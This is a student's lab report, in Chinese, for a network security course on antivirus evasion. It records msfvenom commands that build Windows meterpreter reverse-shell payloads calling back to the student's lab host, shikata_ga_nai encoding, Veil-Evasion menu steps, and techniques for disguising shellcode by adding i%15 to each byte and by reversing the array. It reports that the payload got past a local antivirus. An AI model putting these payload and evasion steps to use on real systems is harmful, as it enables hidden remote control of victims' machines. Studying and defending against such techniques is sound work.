20145233《网络对抗》 第三周 免杀原理与实践
20145233《网络对抗》 第三周 免杀原理与实践
实验内容
- 理解免杀技术原理(1分)
- 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(2分)
- 通过组合应用各种技术实现恶意代码免杀(1分)
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
实验过程
什么是免杀
概述
-
免杀:也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
-
被什么东西杀掉?指的是被杀毒软件(引擎)杀。所以,要做好免杀技术(防御),就要弄清杀毒方式(攻击),也就是这些杀毒软件是如何工作的。
恶意代码的检测方式
- 我的kali的IP地址:172.30.6.167
- 我的靶机的IP地址:172.30.1.93
- 我使用的是老师所给的网站来进行查毒
- -virscan
msfvenom直接生成meterpreter可执行文件
-
直接使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.6.167 PORT=233 -f exe > 20145233.exe
生成可执行文件然后提交到检测网站进行检测
-
然后网站告诉我,这个程序有广告的嫌疑,所以我只好改成hhc5233。
-
然后重新改过名字之后在网站上进行检测,真的是没有处理过得恶意代码,简直了,几乎都在报告这个程度是一个恶意的木马程序。
Msfvenom使用编码器生成可执行文件
- 我想说的是我利用这个编码居然没办法生成编码后的恶意程序,我还不清楚是怎么回事,但是利用下面的指定可以进行一次或者多次编码。
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=172.30.6.167 LPORT=233 -f exe > fool5233-encoded.exe
来生成编码的可执行文件然后上传: - 一次编码的情况依旧不容乐观,多次反复的编码,结果依然不理想。
- 杀软对于这种多次编码的恶意程序依旧可以很高效的检查出来,所以我觉得有这个时间不如来试试更加复杂的,可能效果会更好。
Veil-Evasion生成可执行文件
-
老师kali里面自带了这个软件,命令行直接输入veil-evasion打开软件:
-
(没安装的可以在在Kalil软件库中找一些安装,我是直接用的老师的kali所以自带,找不到也可以在线安装一下sudo apt-get install veil-evasion)
-
然后在menu里面输入以下命令来生成可执行文件:
use python/meterpreter/rev_tcp
set LHOST 192.168.1.180
generate
5208-winmine
1
-
启动成功之后的veil的样子:
-
利用veil处理过恶意代码之后,我发现了,他还用英文告诉我,不要把弄好的程序放到网站上去检测,因吹思婷,然而为了我的实验,你还是去吧。
-
结果显示,被查杀的概率降低了,然而它还是被很多很多杀软公司发现。
-
其中,网站上有表明自己的态度,测试结果的网站不一定准确,因为每个病毒库都是杀软公司的核心,当然不可能让你一个网站完全掌握我的病毒库,并且,它的测试结果往往会受到杀软版本的问题,就好比使用十年前的病毒库去找今年的新病毒,他当然查不出来。但是这个结果也可以表明,这个还是有用的。
C语言调用Shellcode
-
先使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.6.167 LPORT=233 -f c
生成一个c语言格式的Shellcode数组:
-
然后用这个数组来编写一个程序,我使用的是win8下的vc6.0(但是里面的数组要替换成自己生成的数组,否则你的病毒无法被攻击机联通):
- 生成程序后,再次利用上面的网站,结果更有进步,然而它还是被几个杀软公司发现。所以我有了下面的思路,要是将加密特征码加密呢。
加密特征码
- 对数组特征码部分进行一个简单的加法操作,为了避免杀软根据数组值直接的差来判断特征码,所以每个数据加的值是
i%15
- 这样恶意代码的特征码应该就不会那么明显,我希望最后没有杀软可以发现,然而现实是残酷的(也证明了我们的技术水平,想到达一个很高的水平还差的远。)依旧有两个国外的杀软查出来了这是恶意代码。
-
但是我想看看自己计算的查毒能力如何,我是用腾讯电脑管家,指定位置查毒,然而它告诉我没毒,看来国内的公司还是需要努力。
-
但是,我认为国内的这些杀软还是很安全,因为我的这个程序是自己编译生成的,它可能默认我这个是操作者自己做的东西,所以不会报毒,实际在使用的过程中,一有异动,杀毒软件是很敏感的。
逆序改变特征码
- 这个是在看了高其同学的博客之后,才发现的,我觉得高其同学认真的在思考如何隐藏特征码,这都是我没想到的,所以我使用了高其同学的代码,将其中的数组部分改成我自己的数组,来进行实验,我觉得这次都这么复杂了结果应该很完美。
- 然而,还是那两个国外的公司,我是服的,还是它们发现这个程序有问题,所以我觉得可能对于恶意程序来将,它们通过call指令,以及程序在计算机中的行为来判断。
实践攻击
- 启动杀软被没有发现恶意程序,然后利用自己的杀毒软件来查杀病毒,没有发现病毒,实验成功。
实验问题回答
基础问题回答
- 杀软是如何检测出恶意代码的?
也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。 - 免杀是做什么?
免杀顾名思义就是免除计算机杀软的查杀。
通过一些手段来瞒过杀软的检测扫描。 - 免杀的基本方法有哪些?
改变特征码
改变行为
加壳:就是给含有恶意代码的程序加一个外包装,让杀软不知道里面装的是什么。但是这种方法逃不过内存查杀,一运行起来就会露出马脚。(实际上你越加壳越容易被发现是恶意代码,现在大家都有经验了)
离实战还缺些什么技术或步骤?
- 就是你如何让靶机得到你的后门程序,所以这就需要社会工程学,通过反弹链接来使得靶机安装上你的恶意代码以及程序,来达到你的目的。
- 还需要有稳定的客户端来控制恶意程序。
- 并且我们这些加密还是不够入流,要是这样的操作就可以让杀软发现不了,那么杀软公司的价值何在?
实验总结
- 本次实验我觉得直接包含了上次实验的内容,但是上次实验是在杀毒软件已经信任的基础上来完成,因为上次实验的程序是没有做过任何处理的,但是执行功能来看,实验是很好完成的,但是这次实验,在没有做任何处理的情况下,直接传送进入靶机会被直接发现,并会被直接清理。
- 但是本次试验的重点就是对他们进行处理,有编码处理,专门的程序处理,还有手工处理代码来对恶意代码进行包装,但是我们现在的学习还是很简单的那种,因为现阶段的杀软公司的程序员水平实力比我们高很多,他们不只是在加壳上有分析,对于其中有call指令的调用或者VirtualProtect()操作这类行为敏感,这就导致我们现阶段的免杀处理很有限。
- 其中本次实验利用老师所给的网站检测,我们可以看到外国的杀软总是可以很轻易地查到我们的恶意代码程序,所以我觉得国外在这方面的技术还是要比我们国内先进一些。
- 每次学习网络攻防技术才觉得自己算是个搞计算机的,我觉得自己编写代码来处理恶意代码才是真的高手,而现阶段的我还是差的很远,所以我还是需要作出更多的努力,其中我在实验最后的关于手动编码进行逆序改变,我是直接利用的高其同学的代码,可以看出来高其同学确实在学习上很用功,我还需要更多的努力。